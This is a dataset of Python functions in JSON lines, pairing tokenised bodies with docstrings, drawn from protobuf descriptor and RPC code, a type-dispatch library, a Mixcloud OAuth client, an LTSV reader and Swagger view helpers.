{"signature": "def _MakeEnumValueDescriptor(self, value_proto, index):", "body": "return descriptor.EnumValueDescriptor(<EOL>name=value_proto.name,<EOL>index=index,<EOL>number=value_proto.number,<EOL>options=value_proto.options,<EOL>type=None)<EOL>", "docstring": "Creates a enum value descriptor object from a enum value proto.\n\n        Args:\n          value_proto: The proto describing the enum value.\n          index: The index of the enum value.\n\n        Returns:\n          An initialized EnumValueDescriptor object.", "id": "f8666:c0:m18"}
{"signature": "def _ExtractSymbols(self, descriptors):", "body": "for desc in descriptors:<EOL><INDENT>yield (_PrefixWithDot(desc.full_name), desc)<EOL>for symbol in self._ExtractSymbols(desc.nested_types):<EOL><INDENT>yield symbol<EOL><DEDENT>for enum in desc.enum_types:<EOL><INDENT>yield (_PrefixWithDot(enum.full_name), enum)<EOL><DEDENT><DEDENT>", "docstring": "Pulls out all the symbols from descriptor protos.\n\n        Args:\n          descriptors: The messages to extract descriptors from.\n        Yields:\n          A two element tuple of the type name and descriptor object.", "id": "f8666:c0:m19"}
{"signature": "def _GetDeps(self, dependencies):", "body": "for dependency in dependencies:<EOL><INDENT>dep_desc = self.FindFileByName(dependency)<EOL>yield dep_desc<EOL>for parent_dep in dep_desc.dependencies:<EOL><INDENT>yield parent_dep<EOL><DEDENT><DEDENT>", "docstring": "Recursively finds dependencies for file protos.\n\n        Args:\n          dependencies: The names of the files being depended on.\n\n        Yields:\n          Each direct and indirect dependency.", "id": "f8666:c0:m20"}
{"signature": "def _GetTypeFromScope(self, package, type_name, scope):", "body": "if type_name not in scope:<EOL><INDENT>components = _PrefixWithDot(package).split('<STR_LIT:.>')<EOL>while components:<EOL><INDENT>possible_match = '<STR_LIT:.>'.join(components + [type_name])<EOL>if possible_match in scope:<EOL><INDENT>type_name = possible_match<EOL>break<EOL><DEDENT>else:<EOL><INDENT>components.pop(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>return scope[type_name]<EOL>", "docstring": "Finds a given type name in the current scope.\n\n        Args:\n          package: The package the proto should be located in.\n          type_name: The name of the type to be found in the scope.\n          scope: Dict mapping short and full symbols to message and enum types.\n\n        Returns:\n          The descriptor for the requested type.", "id": "f8666:c0:m21"}
{"signature": "def ParseMessage(descriptor, byte_str):", "body": "result_class = MakeClass(descriptor)<EOL>new_msg = result_class()<EOL>new_msg.ParseFromString(byte_str)<EOL>return new_msg<EOL>", "docstring": "Generate a new Message instance from this Descriptor and a byte string.\n\n    Args:\n      descriptor: Protobuf Descriptor object\n      byte_str: Serialized protocol buffer byte string\n\n    Returns:\n      Newly created protobuf Message object.", "id": "f8667:m0"}
{"signature": "def MakeClass(descriptor):", "body": "attributes = {}<EOL>for name, nested_type in descriptor.nested_types_by_name.items():<EOL><INDENT>attributes[name] = MakeClass(nested_type)<EOL><DEDENT>attributes[GeneratedProtocolMessageType._DESCRIPTOR_KEY] = descriptor<EOL>return GeneratedProtocolMessageType(str(descriptor.name), (message.Message,),<EOL>attributes)<EOL>", "docstring": "Construct a class object for a protobuf described by descriptor.\n\n    Composite descriptors are handled by defining the new class as a member of the\n    parent class, recursing as deep as necessary.\n    This is the dynamic equivalent to:\n\n    class Parent(message.Message):\n      __metaclass__ = GeneratedProtocolMessageType\n      DESCRIPTOR = descriptor\n      class Child(message.Message):\n        __metaclass__ = GeneratedProtocolMessageType\n        DESCRIPTOR = descriptor.nested_types[0]\n\n    Sample usage:\n      file_descriptor = descriptor_pb2.FileDescriptorProto()\n      file_descriptor.ParseFromString(proto2_string)\n      msg_descriptor = descriptor.MakeDescriptor(file_descriptor.message_type[0])\n      msg_class = reflection.MakeClass(msg_descriptor)\n      msg = msg_class()\n\n    Args:\n      descriptor: A descriptor.Descriptor object describing the protobuf.\n    Returns:\n      The Message class object described by the descriptor.", "id": "f8667:m1"}
{"signature": "def __init__(cls, name, bases, dictionary):", "body": "<EOL>if GeneratedServiceType._DESCRIPTOR_KEY not in dictionary:<EOL><INDENT>return<EOL><DEDENT>descriptor = dictionary[GeneratedServiceType._DESCRIPTOR_KEY]<EOL>service_builder = _ServiceBuilder(descriptor)<EOL>service_builder.BuildService(cls)<EOL>", "docstring": "Creates a message service class.\n\n        Args:\n          name: Name of the class (ignored, but required by the metaclass\n            protocol).\n          bases: Base classes of the class being constructed.\n          dictionary: The class dictionary of the class being constructed.\n            dictionary[_DESCRIPTOR_KEY] must contain a ServiceDescriptor object\n            describing this protocol service type.", "id": "f8668:c0:m0"}
{"signature": "def __init__(cls, name, bases, dictionary):", "body": "super(GeneratedServiceStubType, cls).__init__(name, bases, dictionary)<EOL>if GeneratedServiceStubType._DESCRIPTOR_KEY not in dictionary:<EOL><INDENT>return<EOL><DEDENT>descriptor = dictionary[GeneratedServiceStubType._DESCRIPTOR_KEY]<EOL>service_stub_builder = _ServiceStubBuilder(descriptor)<EOL>service_stub_builder.BuildServiceStub(cls)<EOL>", "docstring": "Creates a message service stub class.\n\n        Args:\n          name: Name of the class (ignored, here).\n          bases: Base classes of the class being constructed.\n          dictionary: The class dictionary of the class being constructed.\n            dictionary[_DESCRIPTOR_KEY] must contain a ServiceDescriptor object\n            describing this protocol service type.", "id": "f8668:c1:m0"}
{"signature": "def __init__(self, service_descriptor):", "body": "self.descriptor = service_descriptor<EOL>", "docstring": "Initializes an instance of the service class builder.\n\n        Args:\n          service_descriptor: ServiceDescriptor to use when constructing the\n            service class.", "id": "f8668:c2:m0"}
{"signature": "def BuildService(self, cls):", "body": "<EOL>def _WrapCallMethod(srvc, method_descriptor,<EOL>rpc_controller, request, callback):<EOL><INDENT>return self._CallMethod(srvc, method_descriptor,<EOL>rpc_controller, request, callback)<EOL><DEDENT>self.cls = cls<EOL>cls.CallMethod = _WrapCallMethod<EOL>cls.GetDescriptor = staticmethod(lambda: self.descriptor)<EOL>cls.GetDescriptor.__doc__ = \"<STR_LIT>\"<EOL>cls.GetRequestClass = self._GetRequestClass<EOL>cls.GetResponseClass = self._GetResponseClass<EOL>for method in self.descriptor.methods:<EOL><INDENT>setattr(cls, method.name, self._GenerateNonImplementedMethod(method))<EOL><DEDENT>", "docstring": "Constructs the service class.\n\n        Args:\n          cls: The class that will be constructed.", "id": "f8668:c2:m1"}
{"signature": "def _CallMethod(self, srvc, method_descriptor,<EOL>rpc_controller, request, callback):", "body": "if method_descriptor.containing_service != self.descriptor:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>')<EOL><DEDENT>method = getattr(srvc, method_descriptor.name)<EOL>return method(rpc_controller, request, callback)<EOL>", "docstring": "Calls the method described by a given method descriptor.\n\n        Args:\n          srvc: Instance of the service for which this method is called.\n          method_descriptor: Descriptor that represent the method to call.\n          rpc_controller: RPC controller to use for this method's execution.\n          request: Request protocol message.\n          callback: A callback to invoke after the method has completed.", "id": "f8668:c2:m2"}
{"signature": "def _GetRequestClass(self, method_descriptor):", "body": "if method_descriptor.containing_service != self.descriptor:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>')<EOL><DEDENT>return method_descriptor.input_type._concrete_class<EOL>", "docstring": "Returns the class of the request protocol message.\n\n        Args:\n          method_descriptor: Descriptor of the method for which to return the\n            request protocol message class.\n\n        Returns:\n          A class that represents the input protocol message of the specified\n          method.", "id": "f8668:c2:m3"}
{"signature": "def _GetResponseClass(self, method_descriptor):", "body": "if method_descriptor.containing_service != self.descriptor:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>')<EOL><DEDENT>return method_descriptor.output_type._concrete_class<EOL>", "docstring": "Returns the class of the response protocol message.\n\n        Args:\n          method_descriptor: Descriptor of the method for which to return the\n            response protocol message class.\n\n        Returns:\n          A class that represents the output protocol message of the specified\n          method.", "id": "f8668:c2:m4"}
{"signature": "def _GenerateNonImplementedMethod(self, method):", "body": "return lambda inst, rpc_controller, request, callback: (<EOL>self._NonImplementedMethod(method.name, rpc_controller, callback))<EOL>", "docstring": "Generates and returns a method that can be set for a service methods.\n\n        Args:\n          method: Descriptor of the service method for which a method is to be\n            generated.\n\n        Returns:\n          A method that can be added to the service class.", "id": "f8668:c2:m5"}
{"signature": "def _NonImplementedMethod(self, method_name, rpc_controller, callback):", "body": "rpc_controller.SetFailed('<STR_LIT>' % method_name)<EOL>callback(None)<EOL>", "docstring": "The body of all methods in the generated service class.\n\n        Args:\n          method_name: Name of the method being executed.\n          rpc_controller: RPC controller used to execute this method.\n          callback: A callback which will be invoked when the method finishes.", "id": "f8668:c2:m6"}
{"signature": "def __init__(self, service_descriptor):", "body": "self.descriptor = service_descriptor<EOL>", "docstring": "Initializes an instance of the service stub class builder.\n\n        Args:\n          service_descriptor: ServiceDescriptor to use when constructing the\n            stub class.", "id": "f8668:c3:m0"}
{"signature": "def BuildServiceStub(self, cls):", "body": "def _ServiceStubInit(stub, rpc_channel):<EOL><INDENT>stub.rpc_channel = rpc_channel<EOL><DEDENT>self.cls = cls<EOL>cls.__init__ = _ServiceStubInit<EOL>for method in self.descriptor.methods:<EOL><INDENT>setattr(cls, method.name, self._GenerateStubMethod(method))<EOL><DEDENT>", "docstring": "Constructs the stub class.\n\n        Args:\n          cls: The class that will be constructed.", "id": "f8668:c3:m1"}
{"signature": "def _StubMethod(self, stub, method_descriptor,<EOL>rpc_controller, request, callback):", "body": "return stub.rpc_channel.CallMethod(<EOL>method_descriptor, rpc_controller, request,<EOL>method_descriptor.output_type._concrete_class, callback)<EOL>", "docstring": "The body of all service methods in the generated stub class.\n\n        Args:\n          stub: Stub instance.\n          method_descriptor: Descriptor of the invoked method.\n          rpc_controller: Rpc controller to execute the method.\n          request: Request protocol message.\n          callback: A callback to execute when the method finishes.\n        Returns:\n          Response message (in case of blocking call).", "id": "f8668:c3:m3"}
{"signature": "def _ExtractSymbols(desc_proto, package):", "body": "message_name = '<STR_LIT:.>'.join((package, desc_proto.name))<EOL>yield message_name<EOL>for nested_type in desc_proto.nested_type:<EOL><INDENT>for symbol in _ExtractSymbols(nested_type, message_name):<EOL><INDENT>yield symbol<EOL><DEDENT><DEDENT>for enum_type in desc_proto.enum_type:<EOL><INDENT>yield '<STR_LIT:.>'.join((message_name, enum_type.name))<EOL><DEDENT>", "docstring": "Pulls out all the symbols from a descriptor proto.\n\n    Args:\n      desc_proto: The proto to extract symbols from.\n      package: The package containing the descriptor type.\n\n    Yields:\n      The fully qualified name found in the descriptor.", "id": "f8669:m0"}
{"signature": "def Add(self, file_desc_proto):", "body": "proto_name = file_desc_proto.name<EOL>if proto_name not in self._file_desc_protos_by_file:<EOL><INDENT>self._file_desc_protos_by_file[proto_name] = file_desc_proto<EOL><DEDENT>elif self._file_desc_protos_by_file[proto_name] != file_desc_proto:<EOL><INDENT>raise DescriptorDatabaseConflictingDefinitionError(<EOL>'<STR_LIT>' % proto_name)<EOL><DEDENT>package = file_desc_proto.package<EOL>for message in file_desc_proto.message_type:<EOL><INDENT>self._file_desc_protos_by_symbol.update(<EOL>(name, file_desc_proto) for name in _ExtractSymbols(message, package))<EOL><DEDENT>for enum in file_desc_proto.enum_type:<EOL><INDENT>self._file_desc_protos_by_symbol[<EOL>'<STR_LIT:.>'.join((package, enum.name))] = file_desc_proto<EOL><DEDENT>for extension in file_desc_proto.extension:<EOL><INDENT>self._file_desc_protos_by_symbol[<EOL>'<STR_LIT:.>'.join((package, extension.name))] = file_desc_proto<EOL><DEDENT>", "docstring": "Adds the FileDescriptorProto and its types to this database.\n\n        Args:\n          file_desc_proto: The FileDescriptorProto to add.\n        Raises:\n          DescriptorDatabaseException: if an attempt is made to add a proto\n            with the same name but different definition than an exisiting\n            proto in the database.", "id": "f8669:c2:m1"}
{"signature": "def FindFileByName(self, name):", "body": "return self._file_desc_protos_by_file[name]<EOL>", "docstring": "Finds the file descriptor proto by file name.\n\n        Typically the file name is a relative path ending to a .proto file. The\n        proto with the given name will have to have been added to this database\n        using the Add method or else an error will be raised.\n\n        Args:\n          name: The file name to find.\n\n        Returns:\n          The file descriptor proto matching the name.\n\n        Raises:\n          KeyError if no file by the given name was added.", "id": "f8669:c2:m2"}
{"signature": "def FindFileContainingSymbol(self, symbol):", "body": "return self._file_desc_protos_by_symbol[symbol]<EOL>", "docstring": "Finds the file descriptor proto containing the specified symbol.\n\n        The symbol should be a fully qualified name including the file descriptor's\n        package and any containing messages. Some examples:\n\n        'some.package.name.Message'\n        'some.package.name.Message.NestedEnum'\n\n        The file descriptor proto containing the specified symbol must be added to\n        this database using the Add method or else an error will be raised.\n\n        Args:\n          symbol: The fully qualified symbol name.\n\n        Returns:\n          The file descriptor proto containing the symbol.\n\n        Raises:\n          KeyError if no file contains the specified symbol.", "id": "f8669:c2:m3"}
{"signature": "def CEscape(text, as_utf8):", "body": "<EOL>Ord = ord if isinstance(text, six.string_types) else lambda x: x<EOL>if as_utf8:<EOL><INDENT>return '<STR_LIT>'.join(_cescape_utf8_to_str[Ord(c)] for c in text)<EOL><DEDENT>return '<STR_LIT>'.join(_cescape_byte_to_str[Ord(c)] for c in text)<EOL>", "docstring": "Escape a bytes string for use in an ascii protocol buffer.\n\n    text.encode('string_escape') does not seem to satisfy our needs as it\n    encodes unprintable characters using two-digit hex escapes whereas our\n    C++ unescaping function allows hex escapes to be any length.  So,\n    \"\\0011\".encode('string_escape') ends up being \"\\\\x011\", which will be\n    decoded in C++ as a single-character string with char code 0x11.\n\n    Args:\n      text: A byte string to be escaped\n      as_utf8: Specifies if result should be returned in UTF-8 encoding\n    Returns:\n      Escaped string", "id": "f8670:m0"}
{"signature": "def CUnescape(text):", "body": "def ReplaceHex(m):<EOL><INDENT>if len(m.group(<NUM_LIT:1>)) & <NUM_LIT:1>:<EOL><INDENT>return m.group(<NUM_LIT:1>) + '<STR_LIT>' + m.group(<NUM_LIT:2>)<EOL><DEDENT>return m.group(<NUM_LIT:0>)<EOL><DEDENT>result = _CUNESCAPE_HEX.sub(ReplaceHex, text)<EOL>if str is bytes:  <EOL><INDENT>return result.decode('<STR_LIT>')<EOL><DEDENT>result = '<STR_LIT>'.join(_cescape_highbit_to_str[ord(c)] for c in result)<EOL>return (result.encode('<STR_LIT:ascii>')  <EOL>.decode('<STR_LIT>')<EOL>.encode('<STR_LIT>'))<EOL>", "docstring": "Unescape a text string with C-style escape sequences to UTF-8 bytes.", "id": "f8670:m1"}
{"signature": "def GetDescriptor():", "body": "raise NotImplementedError<EOL>", "docstring": "Retrieves this service's descriptor.", "id": "f8671:c1:m0"}
{"signature": "def CallMethod(self, method_descriptor, rpc_controller,<EOL>request, done):", "body": "raise NotImplementedError<EOL>", "docstring": "Calls a method of the service specified by method_descriptor.\n\n        If \"done\" is None then the call is blocking and the response\n        message will be returned directly.  Otherwise the call is asynchronous\n        and \"done\" will later be called with the response value.\n\n        In the blocking case, RpcException will be raised on error.\n\n        Preconditions:\n        * method_descriptor.service == GetDescriptor\n        * request is of the exact same classes as returned by\n          GetRequestClass(method).\n        * After the call has started, the request must not be modified.\n        * \"rpc_controller\" is of the correct type for the RPC implementation being\n          used by this Service.  For stubs, the \"correct type\" depends on the\n          RpcChannel which the stub is using.\n\n        Postconditions:\n        * \"done\" will be called when the method is complete.  This may be\n          before CallMethod() returns or it may be at some point in the future.\n        * If the RPC failed, the response value passed to \"done\" will be None.\n          Further details about the failure can be found by querying the\n          RpcController.", "id": "f8671:c1:m1"}
{"signature": "def GetRequestClass(self, method_descriptor):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the class of the request message for the specified method.\n\n        CallMethod() requires that the request is of a particular subclass of\n        Message. GetRequestClass() gets the default instance of this required\n        type.\n\n        Example:\n          method = service.GetDescriptor().FindMethodByName(\"Foo\")\n          request = stub.GetRequestClass(method)()\n          request.ParseFromString(input)\n          service.CallMethod(method, request, callback)", "id": "f8671:c1:m2"}
{"signature": "def GetResponseClass(self, method_descriptor):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the class of the response message for the specified method.\n\n        This method isn't really needed, as the RpcChannel's CallMethod constructs\n        the response protocol message. It's provided anyway in case it is useful\n        for the caller to know the response type in advance.", "id": "f8671:c1:m3"}
{"signature": "def Reset(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Resets the RpcController to its initial state.\n\n        After the RpcController has been reset, it may be reused in\n        a new call. Must not be called while an RPC is in progress.", "id": "f8671:c2:m0"}
{"signature": "def Failed(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns true if the call failed.\n\n        After a call has finished, returns true if the call failed.  The possible\n        reasons for failure depend on the RPC implementation.  Failed() must not\n        be called before a call has finished.  If Failed() returns true, the\n        contents of the response message are undefined.", "id": "f8671:c2:m1"}
{"signature": "def ErrorText(self):", "body": "raise NotImplementedError<EOL>", "docstring": "If Failed is true, returns a human-readable description of the error.", "id": "f8671:c2:m2"}
{"signature": "def StartCancel(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Initiate cancellation.\n\n        Advises the RPC system that the caller desires that the RPC call be\n        canceled.  The RPC system may cancel it immediately, may wait awhile and\n        then cancel it, or may not even cancel the call at all.  If the call is\n        canceled, the \"done\" callback will still be called and the RpcController\n        will indicate that the call failed at that time.", "id": "f8671:c2:m3"}
{"signature": "def SetFailed(self, reason):", "body": "raise NotImplementedError<EOL>", "docstring": "Sets a failure reason.\n\n        Causes Failed() to return true on the client side.  \"reason\" will be\n        incorporated into the message returned by ErrorText().  If you find\n        you need to return machine-readable information about failures, you\n        should incorporate it into your response protocol buffer and should\n        NOT call SetFailed().", "id": "f8671:c2:m4"}
{"signature": "def IsCanceled(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Checks if the client cancelled the RPC.\n\n        If true, indicates that the client canceled the RPC, so the server may\n        as well give up on replying to it.  The server should still call the\n        final \"done\" callback.", "id": "f8671:c2:m5"}
{"signature": "def NotifyOnCancel(self, callback):", "body": "raise NotImplementedError<EOL>", "docstring": "Sets a callback to invoke on cancel.\n\n        Asks that the given callback be called when the RPC is canceled.  The\n        callback will always be called exactly once.  If the RPC completes without\n        being canceled, the callback will be called after completion.  If the RPC\n        has already been canceled when NotifyOnCancel() is called, the callback\n        will be called immediately.\n\n        NotifyOnCancel() must be called no more than once per request.", "id": "f8671:c2:m6"}
{"signature": "def CallMethod(self, method_descriptor, rpc_controller,<EOL>request, response_class, done):", "body": "raise NotImplementedError<EOL>", "docstring": "Calls the method identified by the descriptor.\n\n        Call the given method of the remote service.  The signature of this\n        procedure looks the same as Service.CallMethod(), but the requirements\n        are less strict in one important way:  the request object doesn't have to\n        be of any specific class as long as its descriptor is method.input_type.", "id": "f8671:c3:m0"}
{"signature": "def dispatch(func):", "body": "return DispatchGroup().dispatch(func)<EOL>", "docstring": "Create a new dispatch on func. Bind additional dispatches with\n@func.dispatch", "id": "f8679:m0"}
{"signature": "def __init__(self):", "body": "self.callees = deque()<EOL>", "docstring": "callees is a list of (bind_args, function) pairs. bind_args is a\nfunction that, when called with the arguments, attempts to bind them\nin a way that matches function's type signature, or raises a TypeError\non failure.", "id": "f8679:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _bind_args(sig, param_matchers, args, kwargs):<DEDENT>", "body": "<EOL>bound = sig.bind(*args, **kwargs)<EOL>if not all(param_matcher(bound.arguments[param_name])<EOL>for param_name, param_matcher in param_matchers):<EOL><INDENT>raise TypeError<EOL><DEDENT>return bound<EOL>", "docstring": "Attempt to bind the args to the type signature. First try to just bind\nto the signature, then ensure that all arguments match the parameter\ntypes.", "id": "f8679:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _make_param_matcher(annotation, kind=None):<DEDENT>", "body": "if isinstance(annotation, type) or (<EOL>isinstance(annotation, tuple) and<EOL>all(isinstance(a, type) for a in annotation)):<EOL><INDENT>if kind is Parameter.VAR_POSITIONAL:<EOL><INDENT>return (lambda args: all(isinstance(x, annotation) for x in args))<EOL><DEDENT>else:<EOL><INDENT>return (lambda x: isinstance(x, annotation))<EOL><DEDENT><DEDENT>elif callable(annotation):<EOL><INDENT>return annotation<EOL><DEDENT>else:<EOL><INDENT>return (lambda x: x == annotation)<EOL><DEDENT>", "docstring": "For a given annotation, return a function which, when called on a\nfunction argument, returns true if that argument matches the annotation.\nIf the annotation is a type, it calls isinstance; if it's a callable,\nit calls it on the object; otherwise, it performs a value comparison.\nIf the parameter is variadic (*args) and the annotation is a type, the\nmatcher will attempt to match each of the arguments in args", "id": "f8679:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def _make_all_matchers(cls, parameters):<DEDENT>", "body": "for name, param in parameters:<EOL><INDENT>annotation = param.annotation<EOL>if annotation is not Parameter.empty:<EOL><INDENT>yield name, cls._make_param_matcher(annotation, param.kind)<EOL><DEDENT><DEDENT>", "docstring": "For every parameter, create a matcher if the parameter has an\nannotation.", "id": "f8679:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def _make_dispatch(cls, func):<DEDENT>", "body": "sig = signature(func)<EOL>matchers = tuple(cls._make_all_matchers(sig.parameters.items()))<EOL>return (partial(cls._bind_args, sig, matchers), func)<EOL>", "docstring": "Create a dispatch pair for func- a tuple of (bind_args, func), where\nbind_args is a function that, when called with (args, kwargs), attempts\nto bind those args to the type signature of func, or else raise a\nTypeError", "id": "f8679:c1:m4"}
{"signature": "def _make_wrapper(self, func):", "body": "<EOL>@wraps(func)<EOL>def executor(*args, **kwargs):<EOL><INDENT>return self.execute(args, kwargs)<EOL><DEDENT>executor.dispatch = self.dispatch<EOL>executor.dispatch_first = self.dispatch_first<EOL>executor.func = func<EOL>executor.lookup = self.lookup<EOL>return executor<EOL>", "docstring": "Makes a wrapper function that executes a dispatch call for func. The\nwrapper has the dispatch and dispatch_first attributes, so that\nadditional overloads can be added to the group.", "id": "f8679:c1:m5"}
{"signature": "def dispatch(self, func):", "body": "self.callees.append(self._make_dispatch(func))<EOL>return self._make_wrapper(func)<EOL>", "docstring": "Adds the decorated function to this dispatch.", "id": "f8679:c1:m6"}
{"signature": "def dispatch_first(self, func):", "body": "self.callees.appendleft(self._make_dispatch(func))<EOL>return self._make_wrapper(func)<EOL>", "docstring": "Adds the decorated function to this dispatch, at the FRONT of the order.\nUseful for allowing third parties to add overloaded functionality\nto be executed before default functionality.", "id": "f8679:c1:m7"}
{"signature": "def lookup_explicit(self, args, kwargs):", "body": "for bind_args, callee in self.callees:<EOL><INDENT>try:<EOL><INDENT>bind_args(args, kwargs)<EOL><DEDENT>except TypeError:<EOL><INDENT>continue<EOL><DEDENT>return callee<EOL><DEDENT>else:<EOL><INDENT>raise DispatchError(args, kwargs, self)<EOL><DEDENT>", "docstring": "Lookup the function that will be called with a given set of arguments,\nor raise DispatchError. Requires explicit tuple/dict grouping of\narguments (see DispatchGroup.lookup for a function-like interface).", "id": "f8679:c1:m8"}
{"signature": "def lookup(*args, **kwargs):", "body": "return args[<NUM_LIT:0>].lookup_explicit(args[<NUM_LIT:1>:], kwargs)<EOL>", "docstring": "Get the function that will be called with a given set of arguments, or\nraises DispatchError. Can be called with", "id": "f8679:c1:m9"}
{"signature": "def execute(self, args, kwargs):", "body": "return self.lookup_explicit(args, kwargs)(*args, **kwargs)<EOL>", "docstring": "Dispatch a call. Call the first function whose type signature matches\nthe arguemts.", "id": "f8679:c1:m10"}
{"signature": "@property<EOL><INDENT>def registered_functions(self):<DEDENT>", "body": "return [callee[<NUM_LIT:1>] for callee in self.callees]<EOL>", "docstring": "Get a list of registered functions, in the order that they will be\nchecked.", "id": "f8679:c1:m11"}
{"signature": "def __call__(*args, **kwargs):", "body": "return args[<NUM_LIT:0>].execute(args[<NUM_LIT:1>:], kwargs)<EOL>", "docstring": "Function-like syntax to execute a dispatched call.", "id": "f8679:c1:m12"}
{"signature": "def authorize_url(self):", "body": "auth_url = OAUTH_ROOT + '<STR_LIT>'<EOL>params = {<EOL>'<STR_LIT>': self.client_id,<EOL>'<STR_LIT>': self.redirect_uri,<EOL>}<EOL>return \"<STR_LIT>\".format(auth_url, urlencode(params))<EOL>", "docstring": "Return a URL to redirect the user to for OAuth authentication.", "id": "f8683:c1:m1"}
{"signature": "def exchange_token(self, code):", "body": "access_token_url = OAUTH_ROOT + '<STR_LIT>'<EOL>params = {<EOL>'<STR_LIT>': self.client_id,<EOL>'<STR_LIT>': self.client_secret,<EOL>'<STR_LIT>': self.redirect_uri,<EOL>'<STR_LIT:code>': code,<EOL>}<EOL>resp = requests.get(access_token_url, params=params)<EOL>if not resp.ok:<EOL><INDENT>raise MixcloudOauthError(\"<STR_LIT>\")<EOL><DEDENT>return resp.json()['<STR_LIT>']<EOL>", "docstring": "Exchange the authorization code for an access token.", "id": "f8683:c1:m2"}
{"signature": "def sections(self):", "body": "if self._sections is None:<EOL><INDENT>self._load()<EOL><DEDENT>return self._sections<EOL>", "docstring": "Depending on the data available when the instance was created,\nit may be necessary to fetch data.", "id": "f8683:c5:m3"}
{"signature": "def description(self):", "body": "if self._description is None:<EOL><INDENT>self._load()<EOL><DEDENT>return self._description<EOL>", "docstring": "May hit server. See Cloudcast.sections", "id": "f8683:c5:m4"}
{"signature": "def reader(ltsvfile, labels=None):", "body": "label_pattern = re.compile(r\"<STR_LIT>\")<EOL>if labels is not None:<EOL><INDENT>prefixes = tuple(L + '<STR_LIT::>' for L in labels<EOL>if label_pattern.match(L + '<STR_LIT::>'))<EOL>for record in ltsvfile:<EOL><INDENT>record = record.rstrip('<STR_LIT:\\r\\n>')<EOL>yield [x.split('<STR_LIT::>', <NUM_LIT:1>) for x in record.split('<STR_LIT:\\t>')<EOL>if x.startswith(prefixes)]<EOL><DEDENT>return<EOL><DEDENT>for record in ltsvfile:<EOL><INDENT>record = record.rstrip('<STR_LIT:\\r\\n>')<EOL>yield [x.split('<STR_LIT::>', <NUM_LIT:1>) for x in record.split('<STR_LIT:\\t>')<EOL>if label_pattern.match(x)]<EOL><DEDENT>", "docstring": "Make LTSV Reader for reading selected labels.\n\n    :param  ltsvfile: iterable of lines.\n    :param  labels: sequence of labels. (optional)\n    :return: generator of record in [[label, value], ...] form.", "id": "f8685:m0"}
{"signature": "def DictReader(ltsvfile, labels=None, dict_type=dict):", "body": "for rec in reader(ltsvfile, labels):<EOL><INDENT>yield dict_type(rec)<EOL><DEDENT>", "docstring": "Make LTSV Reader for reading selected labels.\n\n    :param  ltsvfile: iterable of lines.\n    :param  labels: sequence of labels.\n    :return: generator of record in {label: value, ...} form.", "id": "f8685:m1"}
{"signature": "def trim(docstring):", "body": "if not docstring:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>lines = six.u(docstring).expandtabs().splitlines()<EOL>lines = [line.strip() for line in lines]<EOL>res = six.u('<STR_LIT:\\n>').join(lines)<EOL>return res<EOL>", "docstring": "Remove the tabs to spaces, and remove the extra spaces / tabs that are in\nfront of the text in docstrings.\n\nImplementation taken from http://www.python.org/dev/peps/pep-0257/", "id": "f8699:m0"}
{"signature": "def merge_dicts(base, changes):", "body": "for k, v in changes.items():<EOL><INDENT>if isinstance(v, dict):<EOL><INDENT>merge_dicts(base.setdefault(k, {}), v)<EOL><DEDENT>else:<EOL><INDENT>base.setdefault(k, v)<EOL><DEDENT><DEDENT>", "docstring": "Merge b into a recursively, without overwriting values.\n\n    :param base: the dict that will be altered.\n    :param changes: changes to update base.", "id": "f8699:m2"}
{"signature": "def convert(self, schema_node, definition_handler):", "body": "converted = {<EOL>'<STR_LIT:name>': schema_node.name,<EOL>'<STR_LIT>': self._in,<EOL>'<STR_LIT>': schema_node.required<EOL>}<EOL>if schema_node.description:<EOL><INDENT>converted['<STR_LIT:description>'] = schema_node.description<EOL><DEDENT>if schema_node.default:<EOL><INDENT>converted['<STR_LIT:default>'] = schema_node.default<EOL><DEDENT>schema = definition_handler(schema_node)<EOL>schema.pop('<STR_LIT:title>', None)<EOL>converted.update(schema)<EOL>if schema.get('<STR_LIT:type>') == '<STR_LIT>':<EOL><INDENT>converted['<STR_LIT>'] = {'<STR_LIT:type>': schema['<STR_LIT>']['<STR_LIT:type>']}<EOL><DEDENT>return converted<EOL>", "docstring": "Convert node schema into a parameter object.", "id": "f8703:c0:m0"}
{"signature": "def swagger_ui_template_view(request):", "body": "script_generator = request.registry.settings.get(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>package, callable = script_generator.split('<STR_LIT::>')<EOL>imported_package = importlib.import_module(package)<EOL>script_callable = getattr(imported_package, callable)<EOL>template = pkg_resources.resource_string(<EOL>'<STR_LIT>', '<STR_LIT>').decode('<STR_LIT:utf8>')<EOL>html = Template(template).safe_substitute(<EOL>ui_css_url=ui_css_url,<EOL>ui_js_bundle_url=ui_js_bundle_url,<EOL>ui_js_standalone_url=ui_js_standalone_url,<EOL>swagger_ui_script=script_callable(request),<EOL>)<EOL>return Response(html)<EOL>", "docstring": "Serves Swagger UI page, default Swagger UI config is used but you can\noverride the callable that generates the `<script>` tag by setting\n`cornice_swagger.swagger_ui_script_generator` in pyramid config, it defaults\nto 'cornice_swagger.views:swagger_ui_script_template'\n\n:param request:\n:return:", "id": "f8704:m0"}
{"signature": "def open_api_json_view(request):", "body": "doc = cornice_swagger.CorniceSwagger(<EOL>cornice.service.get_services(), pyramid_registry=request.registry)<EOL>kwargs = request.registry.settings['<STR_LIT>']<EOL>my_spec = doc.generate(**kwargs)<EOL>return my_spec<EOL>", "docstring": ":param request:\n:return:\n\nGenerates JSON representation of Swagger spec", "id": "f8704:m1"}
